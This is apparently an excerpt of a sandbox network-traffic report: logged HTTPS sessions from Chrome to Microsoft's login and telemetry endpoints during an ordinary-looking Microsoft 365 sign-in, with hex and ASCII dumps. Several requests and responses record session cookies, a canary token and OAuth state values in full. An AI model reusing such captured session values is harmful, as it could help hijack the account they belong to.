2025-03-06 21:55:35 UTC	14144	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head> <title>Redirecting</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" conten
2025-03-06 21:55:35 UTC	7239	IN	Data Raw: 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 64 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 64 2e 4c 6f 61 64 28 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6f 29 7b 74 68 72 6f 77 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 2e 20 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 4c 6f 61 64 28 29 20 66 61 69 6c 65 64 20 64 65 73 70 69 74 65 20 69 6e Data Ascii: )){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49826	20.190.160.132	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:40 UTC	2946	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; fpc=ArNZiE-suGVClIK0j8HrpL4; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE65EC_TVbpIKKotniURumZtGt2BCSgBhbr6A67EvWCgruHp6KAfx-k024nRxdcgS_ZbvKdIj0AeE31JYQ-ILo_m2WQMl9LlvfJErVTxTy2wLvtGw_JvFQcDs-8mQz0-Oxhse-5dwing-5zYPffjnywUQnS7F_1ZlVZ8g9CB65OZIgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-03-06 21:55:41 UTC	2859	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch X-DNS-Prefetch-Control: on P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d06ff2bb-8ce1-410b-8ec8-5b6a411d8c00 x-ms-ests-server: 2.1.20139.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,0,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-7qIh7EeCgUGaeKjSTBmv0A' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: buid=1.AUsAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABLAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEJK9ZJqdhv9v_qmyvVAlsR1APNn6zj-1xI7rDNNDvZK11zGWQMz3xRpBkix8TbIA2FxowiFvY37jkeKmOVnhwWAVaic8AYW-YAdJF3stOftYgAA; expires=Sat, 05-Apr-2025 21:55:40 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdbv8CXBhuQbLQf1VY8MqnNC-5UZYaZF1OlluX4YSlt5fpLPqlPZyTNOQ8sZICZKVEswwmXqutwe5Lasjy0N0_IfWDaTyI6ZUt7X6jcepT_6XgN4yGPRngY9BiMj6hoirDQRwvfaa4LEap0wDPHaRoIChDelQ7ZILRV3A-rIcz3kgAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-aKxRFnyWKM=AQABCQEAAABVrSpeuWamRam2jAF1XRQElBMnk3lhtaavH5x0_R3OCGibHy9JJybbIp0Jt0DaTjl8WS_mS0Xa0pNc3DD2sR-izExje7colbezsJt8Jc6czFKvPjV0eHjDJ9q_3QUJkyAOIA-9UgvzAtPOdpM1gussUpmZORLaqGtb65hxhwLSAyAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; expires=Sat, 05-Apr-2025 21:55:40 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 06 Mar 2025 21:55:40 GMT Connection: close Content-Length: 47226
2025-03-06 21:55:41 UTC	13525	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2025-03-06 21:55:41 UTC	16384	IN	Data Raw: 30 4f 74 77 58 30 67 4b 53 2d 66 36 76 43 4f 6c 74 61 59 74 41 2d 6d 69 41 41 5c 75 30 30 32 36 6a 73 68 73 3d 30 22 2c 22 75 72 6c 47 65 74 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 47 65 74 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 3f 6d 6b 74 3d 65 6e 2d 55 53 22 2c 22 75 72 6c 47 65 74 52 65 63 6f 76 65 72 79 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 67 65 74 72 65 63 6f 76 65 72 79 63 72 65 64 65 6e 74 69 61 6c 74 79 70 65 3f 6d 6b 74 3d 65 6e 2d 55 53 22 2c 22 75 72 6c 47 65 74 4f 6e 65 54 Data Ascii: 0OtwX0gKS-f6vCOltaYtA-miAA\u0026jshs=0","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetRecoveryCredentialType":"https://login.microsoftonline.com/common/getrecoverycredentialtype?mkt=en-US","urlGetOneT
2025-03-06 21:55:41 UTC	16384	IN	Data Raw: 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 77 61 74 73 6f 6e 73 75 70 70 6f 72 74 77 69 74 68 6a 71 75 65 72 79 2e 33 2e 35 2e 6d 69 6e 5f 64 63 39 34 30 6f 6f 6d 7a 61 75 34 72 73 75 38 71 65 73 6e 76 67 32 2e 6a 73 22 2c 22 66 62 75 6e 64 6c 65 22 3a 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 65 73 74 73 2f 32 2e 31 2f 63 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 66 72 61 6d 65 77 6f 72 6b 73 75 70 70 6f 72 74 2e 6d 69 6e 5f 6f 61 64 72 6e 63 31 33 6d 61 67 62 30 30 39 6b 34 64 32 30 6c 67 32 2e 6a 73 22 2c 22 72 65 73 65 74 45 72 72 6f 72 50 65 72 69 6f 64 22 3a 35 2c 22 6d 61 78 43 6f 72 73 45 72 72 6f 72 73 22 3a 2d 31 2c 22 6d 61 78 49 6e 6a 65 63 74 45 72 72 6f 72 73 22 3a 35 2c 22 6d 61 Data Ascii: ontent/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"ma
2025-03-06 21:55:41 UTC	933	IN	Data Raw: 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 75 78 2e 63 6f 6e 76 65 72 67 65 64 2e 6c 6f 67 69 6e 2e 73 74 72 69 6e 67 73 2d 65 6e 2e 6d 69 6e 5f 35 38 6b 64 76 62 7a 63 74 64 6a 6b 34 38 79 65 74 61 65 6b 6e 67 32 2e 6a 73 22 20 6e 6f 6e 63 65 3d 27 37 71 49 68 37 45 65 43 67 55 47 61 65 4b 6a 53 54 42 6d 76 30 41 27 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 64 61 74 61 2d 62 69 6e 64 3d 22 64 65 66 69 6e 65 47 6c 6f 62 61 6c 73 3a 20 53 65 72 76 65 72 44 61 74 61 2c 20 62 6f 64 79 43 73 73 43 6c 61 73 73 22 20 63 6c 61 73 73 3d 22 63 62 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: t/cdnbundles/ux.converged.login.strings-en.min_58kdvbzctdjk48yetaekng2.js" nonce='7qIh7EeCgUGaeKjSTBmv0A'></script></head><body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: none"> <script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49825	20.190.160.132	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:40 UTC	1996	OUT	GET /favicon.ico HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; fpc=ArNZiE-suGVClIK0j8HrpL4; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE65EC_TVbpIKKotniURumZtGt2BCSgBhbr6A67EvWCgruHp6KAfx-k024nRxdcgS_ZbvKdIj0AeE31JYQ-ILo_m2WQMl9LlvfJErVTxTy2wLvtGw_JvFQcDs-8mQz0-Oxhse-5dwing-5zYPffjnywUQnS7F_1ZlVZ8g9CB65OZIgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-03-06 21:55:40 UTC	1339	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 81165d1c-2a19-40e0-81b5-1b4c4b4c5a00 x-ms-ests-server: 2.1.20203.5 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-R2yV7YythBGSQrLi7RDWiw' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Date: Thu, 06 Mar 2025 21:55:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49835	95.101.54.226	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:42 UTC	436	OUT	OPTIONS /api/report?catId=GW+estsfd+ams2 HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Origin: https://login.microsoftonline.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:43 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Thu, 06 Mar 2025 21:55:43 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-03-06 21:55:43 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49846	95.101.54.226	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:55:45 UTC	369	OUT	POST /api/report?catId=GW+estsfd+ams2 HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 1282 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:55:45 UTC	1282	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 36 31 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6d 69 63 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":2613,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.micro
2025-03-06 21:55:52 UTC	360	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Request-Context: appId=cid-v1:41ca65cb-08a6-4a29-94ab-18b081ee8b8b Date: Thu, 06 Mar 2025 21:55:52 GMT Content-Length: 53 Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-03-06 21:55:52 UTC	53	IN	Data Raw: 4e 45 4c 20 41 67 67 72 65 67 61 74 6f 72 20 68 61 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 70 72 6f 63 65 73 73 65 64 20 74 68 65 20 72 65 71 75 65 73 74 Data Ascii: NEL Aggregator has successfully processed the request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49916	20.190.160.132	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:56:06 UTC	3157	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Content-Length: 2042 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: d06ff2bb-8ce1-410b-8ec8-5b6a411d8c00 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: c78ca9f6-666c-4189-a6c8-50defdad580f canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEJkoMD1qpJwDP-Q6z2T64EgIX2V0YPVMzhOTKAeXQKdZFZvoopHHztWWrGWDLZRekXP83GGZD3oDZ6M_0KeidovJdF47uJbuBQzsT3QHc5IDHi2-vwvkUaOIgOilt7t4D_eZZ1o46QsZYJMiHSYomaUjRoTG9cIC4xIDGX0vma3Vp0ejdMCURXL2GqjURFtDFjoitONp63TWJljS0DbjQtiAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.microsoftonline.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AUsAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABLAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEJK9ZJqdhv9v_qmyvVAlsR1APNn6zj-1xI7rDNNDvZK11zGWQMz3xRpBkix8TbIA2FxowiFvY37jkeKmOVnhwWAVaic8AYW-YAdJF3stOftYgAA; 